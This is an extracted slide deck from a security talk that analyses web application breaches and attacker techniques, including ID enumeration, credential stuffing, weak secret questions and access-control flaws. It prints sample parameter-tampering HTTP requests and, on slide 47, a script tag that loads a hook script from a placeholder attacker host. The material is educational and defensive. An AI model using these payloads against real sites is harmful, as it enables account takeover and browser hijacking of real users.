SLIDE 1
M I C H A E L C O AT E S , T R U S T & I N F O R M AT I O N S E C U R I T Y O F F I C E R @ _ M W C
Deconstructing Breaches
W H AT ’ S G O I N G W R O N G
A P P L I C AT I O N S T H R O U G H A N AT TA C K E R S L E N S - - PowerPoint PPT Presentation
A P P L I C AT I O N S T H R O U G H A N AT TA C K E R S L E N S - - PowerPoint PPT Presentation
A P P L I C AT I O N S T H R O U G H A N AT TA C K E R S L E N S M I C H A E L C O AT E S , T R U S T & I N F O R M AT I O N S E C U R I T Y O F F I C E R @ _ M W C W H AT S G O I N G W R O N G Deconstructing Breaches
SLIDE 2
SLIDE 3
CITIGROUP 200,000 RECORDS STOLEN
BREACHED:
- names
- account numbers
- e-mail addresses transaction histories
MAY, 2011
SLIDE 4
bank.com/viewAcct?id=684093411
Acct …411
THE ATTACK
SLIDE 5
bank.com/viewAcct?id=684093411
Acct …411
THE ATTACK
bank.com/viewAcct?id=684093412 ?
SLIDE 6
bank.com/viewAcct?id=684093411
Acct …411
THE ATTACK
bank.com/viewAcct?id=684093412
Acct …412
SLIDE 7
One security expert familiar with the investigation wondered how the hackers could have known to breach security by focusing on the vulnerability in the browser. “It would have been hard to prepare for this type of vulnerability,” he said. The security expert insisted
- n anonymity because the inquiry was at an early stage.
6/14/2011 nytimes.com
SLIDE 8
INDIRECT OBJECT REFERENCES
OWASP TOP 10 2013 #4, 2010 #4, 2007 #4, 2004 #2, 2003 —
SLIDE 9
"When you look at how the breaches are occurring, it's like penetration testing 101" Alex Cox, principal research analyst at NetWitness 6/15/2011 DarkReading.com
SLIDE 10
APPLE & AT&T 114,000 RECORDS EXPOSED - MILITARY, TOP EXECS
BREACHED
subscribers' email addresses Phone ICC-ID
NOVEMBER, 2012
DETAILS
- No password or token required
- XHR Request w/ User Agent for iPhone
- Predictable ICC-ID within HTTP Request —> Associated email address
SLIDE 11
https://www.flickr.com/photos/kalleboo/4662852294/
SLIDE 12
Source | “Data Breach Report”, Verizon, 2015
BREACHES & SQL VULNS
- Joomla
- Patreon
- Planned ParentHood
- Gaana Music Service
- Telstra corporate network
- World Trade Organization
- SAP - Medical App
- & more
SQL INJECTION & 2015
SLIDE 13
DETAILS
- Used user information gathered from multiple sources
- Automated completion of user questions through IRS Get Transcript
application
- Return: “nearly $50 million in refunds stolen before the agency spotted the
problem"
IRS 220,000+ RECORDS BREACHED
BREACHED
Taxpayer Past Returns
MAY, 2015
SLIDE 14
ONGOING: CREDENTIAL THEFT
231 Million Records 49 Searchable breaches haveibeenpwned.com
SLIDE 15
Targeting & Exploiting Applications
T H E AT TA C K E R ’ S E Y E
SLIDE 16
ATTACKING THE FRONT DOOR
SLIDE 17
ATTACKING THE FRONT DOOR
steve@gmail.com password1 steve@gmail.com password2 steve@gmail.com password3
SLIDE 18
ATTACKING THE FRONT DOOR
1 User Many Users Single Password Guess Many Passwords Guessed Traditional Brute Force Easy to Detect Password Reuse Attack Hard to Detect Widespread Easy to Detect Targeted Hard to Detect
SLIDE 19
ATTACKING THE FRONT DOOR
1 User Targeted Many Users Targeted Single Password Guess Many Passwords Guessed Traditional Brute Force Easy to Detect Widespread Easy to Detect Targeted Hard to Detect Password Reuse Attack Hard to Detect
SLIDE 20
SLIDE 21
SLIDE 22
ATTACKING THE SIDE DOOR
SLIDE 23
ATTACKING THE SIDE DOOR
We ask you to type the answer twice because we don't display what you are typing - that's so that someone can't read your question and answer over your shoulder.
SLIDE 24
ATTACKING THE SIDE DOOR
“secret questions are neither secure nor reliable enough to be used as a standalone account recovery mechanism” English Speakers: “What is your favorite food?” - 19.7% with 1 guess Arabic Speakers: ”What’s your first teacher’s name?” - 24% with 10 guesses Spanish Speakers: "What is your father’s middle name?” - 21% with 10 guesses Korean Speakers: "What is your city of birth?” - 39% with 10 guesses Korean Speakers: "What is your favorite food?” - 43% with 10 guesses googleonlinesecurity.blogspot.com
SLIDE 25
FUN WITH DATA
SLIDE 26
FUN WITH DATA
SLIDE 27
FUN WITH DATA
Unchecked Redirect? Injection? Malformed JSON? Oracle Fusion Hidden Field Iteration
SLIDE 28
SLIDE 29
Alternate App Flows? XSS Injection Point?
SLIDE 30
SLIDE 31
Password Reset Token? Multi use form? ab, xy, zz ?
SLIDE 32
FUN WITH ACCESS CONTROL
SLIDE 33
email username password email username password
user admin
role
ACCOUNT SIGNUP
SLIDE 34
email username password email username password role
POST /signup HTTP/1.1 Host: site.com username=foo&email=bar@foobar. com&password=123&role=9 POST /signup HTTP/1.1 Host: site.com username=foo&email=bar@foobar. com&password=123&role=3
ACCOUNT SIGNUP
user admin
SLIDE 35
ACCESS CONTROL PRESENTATION | BUSINESS | DATA
site/com/viewUser?ID=551234 site/com/viewUser?ID=551235
User Info
SLIDE 36
permissions username
POST /createAdmin HTTP/1.1 Host: site.com username=foo&email=bar@foobar. com&password=123&role=admin
CREATE ADMIN
New Admin
ACCESS CONTROL PRESENTATION | BUSINESS | DATA
SLIDE 37
name
ACCESS CONTROL PRESENTATION | BUSINESS | DATA
site/com/editUser?ID=551234 POST /editUser HTTP/1.1 Host: site.com ID=551234&name=Bob
Enter New Name
EDIT USER
SLIDE 38
name
ACCESS CONTROL PRESENTATION | BUSINESS | DATA
site/com/editUser?ID=551234 POST /editUser HTTP/1.1 Host: site.com ID=551235&name=Bob
Enter New Name
EDIT USER
SLIDE 39
DON’T FORGET THE OBVIOUS
Cross Site Scripting SQL Injection
SLIDE 40
The Enemy & Profit
T H R E AT S
SLIDE 41
POTENTIAL ADVERSARIES
Organized Crime Hacktivists Nation States
SLIDE 42
APP VECTORS FOR DATA BREACHES
Source | “Data Breach Report”, Verizon, 2015
SLIDE 43
“Paunch had more than 1,000 customers and was earning $50,000 per month from his illegal activity”
Source | krebsonsecurity,.com 2013
SCALABLE BLACKMARKET BUSINESSES
SLIDE 44
SLIDE 45
SLIDE 46
SLIDE 47
<script src=”http://<attackerIP>:3000/hook.js” type=”text/javascript”></script>
SLIDE 48
BLACKMARKET PRICES
SLIDE 49
SLIDE 50
SLIDE 51
What to do?
YO U
SLIDE 52
UNDERSTAND YOUR APPLICATION’S VALUE & ADVERSARIES
SLIDE 53
LEARN TO HACK
OWASP Top 10 OWASP Security Shepherd OWASP WebGoat Bug Bounty Programs Your Applications
SLIDE 54
LEARN TO DEFEND
Capture The Flag Fix Security Bugs OWASP Top 10 OWASP Cheat Sheets
SLIDE 55